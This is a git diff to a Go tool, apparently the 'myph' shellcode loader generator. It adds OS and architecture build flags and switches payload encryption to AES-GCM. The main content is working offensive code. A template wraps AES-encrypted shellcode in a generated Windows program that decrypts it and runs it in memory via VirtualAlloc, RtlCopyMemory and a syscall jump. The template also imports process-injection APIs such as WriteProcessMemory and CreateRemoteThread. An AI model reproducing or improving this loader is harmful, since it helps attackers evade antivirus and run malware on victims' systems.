diff --git a/cli/defaults.go b/cli/defaults.go
@@ -10,6 +10,8 @@ func GetDefaultCLIOptions() Options {
ShellcodePath: "",
AesKey: RandBytes(32),
Outfile: "myph-out.exe",
+ OS: "windows",
+ arch: "amd64",
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -31,7 +31,11 @@ func GetParser(opts *Options) *cobra.Command {
}
fmt.Println("[+] Successfully read shellcode")
- payload := loader.Encrypt(opts.AesKey, plaintext_payload)
+ payload, err := loader.Encrypt(opts.AesKey, plaintext_payload); if err != nil {
+ fmt.Println(err.Error())
+ os.Exit(1)
+ }
+
s := loader.Shellcode{
Payload: payload,
Filename: opts.Outfile,
@@ -48,8 +52,8 @@ func GetParser(opts *Options) *cobra.Command {
fmt.Println("[+] loaded Windows template")
/* run compilation */
- os.Setenv("GOOS", "windows")
- os.Setenv("GOARCH", "386")
+ os.Setenv("GOOS", opts.OS)
+ os.Setenv("GOARCH", opts.arch)
err = exec.Command(
"go",
"build",
@@ -63,14 +67,17 @@ func GetParser(opts *Options) *cobra.Command {
return
}
fmt.Println("[+] Successfully compiled shellcode")
+ os.Remove("tmp.go")
},
}
defaults := GetDefaultCLIOptions()
- cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "o", defaults.Outfile, "output filepath")
+ cmd.PersistentFlags().StringVarP(&opts.Outfile, "outfile", "f", defaults.Outfile, "output filepath")
cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
cmd.PersistentFlags().BytesHexVarP(&opts.AesKey, "aes-key", "a", defaults.AesKey, "AES key for shellcode encryption")
+ cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
+ cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
return cmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -10,4 +10,10 @@ type Options struct {
// AES shellcode encryption secret
AesKey []byte
+
+ // os compilation target
+ OS string
+
+ // arch compilation target
+ arch string
}
diff --git a/loader/aes.go b/loader/aes.go
@@ -3,16 +3,31 @@ package loader
import (
"crypto/aes"
"fmt"
- "os"
+
+ "crypto/cipher"
+ "crypto/rand"
+ "io"
)
-func Encrypt(key []byte, plaintext []byte) []byte {
- c, err := aes.NewCipher(key); if err != nil {
- fmt.Printf("[!] cipher gen: %s\n", err.Error())
- os.Exit(1)
+func ToString(payload []byte) string {
+ return fmt.Sprint([]byte(payload))
+}
+
+func Encrypt(key []byte, plaintext []byte) ([]byte, error) {
+ c, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
+
+ gcm, err := cipher.NewGCM(c)
+ if err != nil {
+ return nil, err
+ }
+
+ nonce := make([]byte, gcm.NonceSize())
+ if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
+ return nil, err
}
- out := make([]byte, len(plaintext))
- c.Encrypt(out, plaintext)
- return out
+ return gcm.Seal(nonce, nonce, plaintext, nil), nil
}
diff --git a/loader/windows.go b/loader/windows.go
@@ -1,61 +1,104 @@
package loader
import (
- "encoding/hex"
"fmt"
)
func LoadWindowsTemplate(s Shellcode) string {
- hexShellcode := hex.EncodeToString(s.Payload)
- hexKey := hex.EncodeToString(s.AesKey)
+ hexShellcode := ToString(s.Payload)
+ hexKey := ToString(s.AesKey)
return fmt.Sprintf(`
package main
import (
"crypto/aes"
- "encoding/hex"
"os"
- "unsafe"
"syscall"
- "fmt"
+ "unsafe"
+ "strings"
+ "strconv"
+ "crypto/cipher"
+ "errors"
)
+
const (
- MEM_COMMIT = 0x1000
- MEM_RESERVE = 0x2000
- PAGE_EXECUTE_READWRITE = 0x40
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READWRITE = 0x40
+ PROCESS_CREATE_THREAD = 0x0002
+ PROCESS_QUERY_INFORMATION = 0x0400
+ PROCESS_VM_OPERATION = 0x0008
+ PROCESS_VM_WRITE = 0x0020
+ PROCESS_VM_READ = 0x0010
)
var (
- kernel32 = syscall.MustLoadDLL("kernel32.dll")
- ntdll = syscall.MustLoadDLL("ntdll.dll")
-
- VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
- RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
+ WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+ CreateThread = kernel32.MustFindProc("CreateThread")
+ OpenProcess = kernel32.MustFindProc("OpenProcess")
+ WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
+ procVirtualProtect = kernel32.MustFindProc("VirtualProtect")
+ CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
)
-func decrypt(key string, payload string) []byte {
- ciphertext, _ := hex.DecodeString(payload)
- keyAsBytes, _ := hex.DecodeString(key)
+func decrypt(key []byte, ciphertext []byte) ([]byte, error) {
+ c, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, err
+ }
- c, err := aes.NewCipher(keyAsBytes); if err != nil {
- os.Exit(1)
+ gcm, err := cipher.NewGCM(c)
+ if err != nil {
+ return nil, err
+ }
+
+ nonceSize := gcm.NonceSize()
+ if len(ciphertext) < nonceSize {
+ return nil, errors.New("ciphertext too short")
+ }
+
+ nonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]
+ return gcm.Open(nil, nonce, ciphertext, nil)
+}
+
+
+func StringBytesParseString(byteString string) (string, error) {
+ byteString = strings.TrimSuffix(byteString, "]")
+ byteString = strings.TrimLeft(byteString, "[")
+ sByteString := strings.Split(byteString, " ")
+ var res []byte
+ for _, s := range sByteString {
+ i, err := strconv.ParseUint(s, 10, 64)
+ if err != nil {
+ return "", err
+ }
+ res = append(res, byte(i))
}
- plaintext := make([]byte, len(payload))
- c.Decrypt(plaintext, ciphertext)
- s := string(plaintext[:])
- return []byte(s)
+ return string(res), nil
}
func main() {
/* decrypt shellcode using AES */
- payload := decrypt("%s", "%s")
+ key, err := StringBytesParseString("%s"); if err != nil {
+ os.Exit(1)
+ }
- fmt.Println(payload)
+ bytesPayload, err := StringBytesParseString("%s"); if err != nil {
+ os.Exit(1)
+ }
+ payload, err := decrypt([]byte(key), []byte(bytesPayload)); if err != nil {
+ os.Exit(1)
+ }
addr, _, err := VirtualAlloc.Call(
0,
uintptr(len(payload)),
@@ -63,7 +106,7 @@ func main() {
)
if err != nil && err.Error() != "The operation completed successfully." {
- syscall.Exit(0)
+ os.Exit(0)
}
_, _, err = RtlCopyMemory.Call(
@@ -73,15 +116,10 @@ func main() {
)
if err != nil && err.Error() != "The operation completed successfully." {
- fmt.Println(err.Error())
- syscall.Exit(0)
+ os.Exit(0)
}
- // jump to shellcode
syscall.Syscall(addr, 0, 0, 0, 0)
-
}
`, hexKey, hexShellcode)
}
-
-
| | | | |